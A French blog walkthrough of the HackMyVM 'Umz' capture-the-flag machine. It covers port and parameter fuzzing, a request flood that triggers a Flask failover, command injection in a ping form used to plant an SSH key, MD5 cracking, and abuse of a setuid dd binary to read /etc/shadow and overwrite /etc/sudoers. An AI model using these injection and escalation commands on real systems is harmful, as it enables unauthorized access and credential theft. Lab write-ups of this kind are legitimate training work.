Accueil Solution du CTF Umz de HackMyVM.eu
Post
Annuler

Solution du CTF Umz de HackMyVM.eu

Le CTF Umz nous laisse avec un goût un peu fade. Rien de bien intéressant, des objectifs peu clairs…

Au moins il y avait un peu d’originalité.

En stress

Nmap trouve deux ports ouverts sur la VM, les plus classiques :

1
2
3
4
5
6
7
8
9
10
11
12
sudo  nmap -Pn -p- 192.168.56.110 -T5

Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 192.168.56.110
Host is up (0.000055s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:B3:30:96 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds

La page d’index est bling-bling, mais n’apporte aucun élément intéressant.

Il est toutefois mention de backups donc j’énumère aussi des extensions supplémentaires.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ feroxbuster -u http://192.168.56.110/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -n -x php,zip,bak,tar.gz,html,7z
                                                                                                                                                                                                                                             
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.110/
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, zip, bak, tar.gz, html, 7z]
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       76l      307w     3024c http://192.168.56.110/
200      GET       93l      201w     2714c http://192.168.56.110/index.php
200      GET       76l      307w     3024c http://192.168.56.110/index.html
[####################] - 5m   8916733/8916733 0s      found:3       errors:0      
[####################] - 5m   8916733/8916733 31129/s http://192.168.56.110/

Il y a deux pages d’index. Ni lien ni formulaire sur celle en PHP donc on a envie de croire qu’elle attend un paramètre, ce que l’on va brute-forcer avec ffuf :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ffuf -u "http://192.168.56.110/index.php?FUZZ=1" -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -fs 2714

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.56.110/index.php?FUZZ=1
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 2714
________________________________________________

stress                  [Status: 200, Size: 2707, Words: 909, Lines: 94, Duration: 1ms]
:: Progress: [119600/119600] :: Job [1/1] :: 1509 req/sec :: Duration: [0:00:55] :: Errors: 0 ::

On a trouvé un paramètre stress mais en jouant un peu avec, on a l’impression qu’il est plutôt secure. Chose confirmée avec Wapiti et sqlmap qui n’ont rien décelé.

Le paramètre sert en vérité passer un entier qui sert de limite à une boucle pour trouver des nombres premiers. Par exemple si on passe 5 la page indique qu’elle a trouvé 3 nombres premiers (1, 3, 5).

En tête de page on a ce message :

⚠️ DDoS Protection Active: This service is protected by automated anti-DDoS measures. Excessive requests will trigger security protocols.

Ça laisse supposer qu’un port sera ouvert par le mécanisme anti DDoS.

Ma première idée était qu’il faille mettre un grand nombre dans le paramètre stress pour forcer le script à faire des longs calculs mais j’obtenais seulement une erreur 500 après un laps de temps.

Du coup l’autre idée était de requêter la page en masse. Il semble qu’il faille passer le paramètre stress pour que ça fonctionne.

1
ffuf -u "http://192.168.56.110/index.php?stress=FUZZ" -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -fs 2714

Après ça un port 8080 est apparu et le serveur Apache n’est plus accessible :

1
2
3
4
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

J’ai lancé Wapiti dessus qui a trouvé quelques éléments intéressants :

1
wapiti -u http://192.168.56.110:8080/ --color -m all
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
[*] Launching module wapp
---
Flask ['1.0.1'] detected
  -> Categories: ['Web frameworks', 'Web servers']
  -> Group(s): ['Web development', 'Servers']
  -> CPE: cpe:2.3:a:palletsprojects:flask:*:*:*:*:*:*:*:*

Python ['3.9.2'] detected
  -> Categories: ['Programming languages']
  -> Group(s): ['Web development']
  -> CPE: cpe:2.3:a:python:python:*:*:*:*:*:*:*:*
[*] Launching module nikto
---
This might be interesting.
http://192.168.56.110:8080/console
References:
  https://vulners.com/osvdb/OSVDB:3092
---
[*] Launching module csrf
---
Lack of anti CSRF token
    POST /login HTTP/1.1
    host: 192.168.56.110:8080
    connection: keep-alive
    user-agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
    accept-language: en-US
    accept-encoding: gzip, deflate, br
    accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    content-type: application/x-www-form-urlencoded
    referer: http://192.168.56.110:8080/login
    content-length: 24
    Content-Type: application/x-www-form-urlencoded

    user=alice&pass=Letm3in_
---
[*] Launching module buster
Found webpage http://192.168.56.110:8080/admin

On a donc une appli Flask avec une mire de login non protégée par un token CSRF.

Toutefois, un simple essai de connexion avec admin / admin a réussi.

Là, un champ de texte avec le placeholder Enter IP address et un bouton Execute ping s’offrent à nous.

Je m’empresse de saisir ;id; et j’obtiens uid=1000(welcome) gid=1000(welcome) groups=1000(welcome) : une faille d’exécution de commandes toute simple.

La suite : ajouter une clé SSH autorisée pour cet utilisateur :

1
;mkdir /home/welcome/.ssh;echo "ssh-rsa AAAAB3N--- snip ---OjVkzx3" > /home/welcome/.ssh/authorized_keys;

Unstrip

Je peux désormais passer par SSH :

1
2
3
4
5
6
$ ssh -i ~/.ssh/hacker welcome@192.168.56.110
Last login: Fri Apr 11 22:27:59 2025 from 192.168.3.94
welcome@Umz:~$ ls
user.txt
welcome@Umz:~$ cat user.txt 
flag{user-4483f72525b3c316704cf126bec02d5c}

Pour une fois la commande autorisée par sudo change des scénarios habituels :

1
2
3
4
5
6
welcome@Umz:~$ sudo -l
Matching Defaults entries for welcome on Umz:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on Umz:
    (ALL) NOPASSWD: /usr/bin/md5sum

On imagine tout de même le scénario rapidement : un password doit se trouver quelque part et on va devoir casser le hash obtenu.

Je ne met pas longtemps avant de trouver le fichier en question :

1
2
3
4
5
6
welcome@Umz:~$ ls /opt/flask-debug/ -al
total 20
drwxr-xr-x 2 welcome welcome 4096 May  3 10:32 .
drwxr-xr-x 3 root    root    4096 May  3 09:46 ..
-rw-r--r-- 1 root    root    5001 May  3 10:23 flask_debug.py
-rwx------ 1 root    root      10 May  3 10:32 umz.pass

Je peux donc obtenir son hash MD5 :

1
2
welcome@Umz:~$ sudo md5sum /opt/flask-debug/umz.pass
a963fadd7fd379f9bc294ad0ba44f659  /opt/flask-debug/umz.pass

Je l’ai soumis à crackstation.net sans succès. J’ai ensuite tenté ma chance avec JtR :

1
john --format=Raw-MD5 --wordlist=/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt /tmp/hash.txt

Nada ! Explication la plus probable : il y a un retour à la ligne après le mot de passe donc le hash est faussé.

Via le listing on sait que le mot de passe + le retour à la ligne font 10 caractères, j’ai donc écrit ce script Python qui lit les lignes depuis un fichier (sans les stripper) puis calcule le MD5 lorsque l’on a le bon compte de caractères :

1
2
3
4
5
6
7
8
9
10
11
import sys
from hashlib import md5

wordlist = sys.argv[1]
with open(wordlist, encoding="utf-8", errors="ignore") as fd:
    for line in fd:
        if len(line) == 10:
            hash_ = md5(line.encode()).hexdigest()
            if hash_ == "a963fadd7fd379f9bc294ad0ba44f659":
                print(f"Found {line}")
                break

C’est bon !

1
2
$ python brute.py /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
Found sunshine3

Le mot de passe ne permet pas de passer root et je découvre qu’il y a un autre utilisateur sur le système :

Dédé

Cet utilisateur a un binaire setuid root dans son dossier personnel :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
welcome@Umz:/opt/flask-debug$ ls /home/
umzyyds  welcome
welcome@Umz:/opt/flask-debug$ su umzyyds
Password: 
umzyyds@Umz:/opt/flask-debug$ cd
umzyyds@Umz:~$ ls -al
total 96
drwx------ 2 umzyyds umzyyds  4096 May  3 10:42 .
drwxr-xr-x 4 root    root     4096 May  3 10:27 ..
lrwxrwxrwx 1 root    root        9 May  3 10:38 .bash_history -> /dev/null
-rw-r--r-- 1 umzyyds umzyyds   220 May  3 10:27 .bash_logout
-rw-r--r-- 1 umzyyds umzyyds  3526 May  3 10:27 .bashrc
-rw-r--r-- 1 umzyyds umzyyds   807 May  3 10:27 .profile
-rwsr-sr-x 1 root    root    76712 May  3 10:42 Dashazi

En regardant le contenu du binaire avec strings on a du mal à comprendre ce qu’il fait. Il y a beaucoup de chaines et le binaire n’est pas static, ça ne ressemble pas à un programme custom.

Notre seule solution, c’est l’exécution :

1
2
3
4
5
6
7
umzyyds@Umz:~$ file Dashazi 
Dashazi: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=21bfd63cfb732f9c09d17921f8eef619429bcd35, stripped
umzyyds@Umz:~$ ./Dashazi 
id
^C0+1 records in
0+0 records out
0 bytes copied, 10.2457 s, 0.0 kB/s

Je reconnais l’output qui est celui de la commande dd qui sert à copier toute sorte de choses (fichiers, périphériques, etc).

J’ai débord copié shadow dans l’idée de casser le mot de passe de root :

1
2
3
4
5
6
umzyyds@Umz:~$ ./Dashazi if=/etc/shadow of=shadow
2+1 records in
2+1 records out
1076 bytes (1.1 kB, 1.1 KiB) copied, 0.000167197 s, 6.4 MB/s
umzyyds@Umz:~$ head -1 shadow 
root:$6$ncNrfMmFicrVYnMJ$eRxtK.IK.8vvnkzP8PMhc6HOpXWlSFs4vMyj5yz2qmIgQMAi6Zjv0vTF7YFo07hw1U.QAEGHAZRqeWOA15qcY1:20211:0:99999:7:::

Mais après avoir laissé tourner JtR un moment, j’ai abandonné.

J’ai choisis la même approche que sur Magifi, à savoir ajouter une ligné à sudoers :

1
2
3
4
5
6
7
8
9
10
11
12
13
umzyyds@Umz:~$ echo -e "\numzyyds ALL=(ALL) NOPASSWD: /usr/bin/bash" >> sudoers_copy 
umzyyds@Umz:~$ ./Dashazi if=sudoers_copy of=/etc/sudoers
1+1 records in
1+1 records out
755 bytes copied, 0.00908441 s, 83.1 kB/s
umzyyds@Umz:~$ sudo bash
root@Umz:/home/umzyyds# id
uid=0(root) gid=0(root) groups=0(root)
root@Umz:/home/umzyyds# cd /root
root@Umz:~# ls
flask_debug.py  monitor.sh  root.txt
root@Umz:~# cat root.txt 
flag{root-a73c45107081c08dd4560206b8ef8205}

Par curiosité voici le script qui surveillait le “stress” sur le script PHP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/bin/bash
# 文件名:monitor.sh
TARGET_URL="http://localhost/index.php"
CHECK_INTERVAL=3  # 检测间隔3秒
MAX_FAILS=3        # 连续失败3次触发操作
FAIL_COUNT=0

while true; do
    # 检查页面是否包含特征字符串(超时3秒)
    RESPONSE=$(timeout 3 curl -s -w "%{http_code}" "$TARGET_URL")
    STATUS=$?
    HTTP_CODE=$(echo "$RESPONSE" | tail -n1)
    CONTENT=$(echo "$RESPONSE" | head -n-1)

    # 判断条件:HTTP状态码非200或内容不包含特征
    if [[ $STATUS -ne 0 || $HTTP_CODE != 200 || ! "$CONTENT" =~ "HEALTHY_STRING" ]]; then
        FAIL_COUNT=$((FAIL_COUNT + 1))
        echo "[$(date)] 检测到服务异常,失败次数:$FAIL_COUNT" >> /var/log/monitor.log

        if [ $FAIL_COUNT -ge $MAX_FAILS ]; then
            echo "[$(date)] 触发故障转移!关闭Apache,启动Flask服务..." >> /var/log/monitor.log
            systemctl stop apache2
            sudo -u welcome python3 /opt/flask-debug/flask_debug.py
            exit 0
        fi
    else
        FAIL_COUNT=0
    fi

    sleep $CHECK_INTERVAL
done
Cet article est sous licence CC BY 4.0 par l'auteur.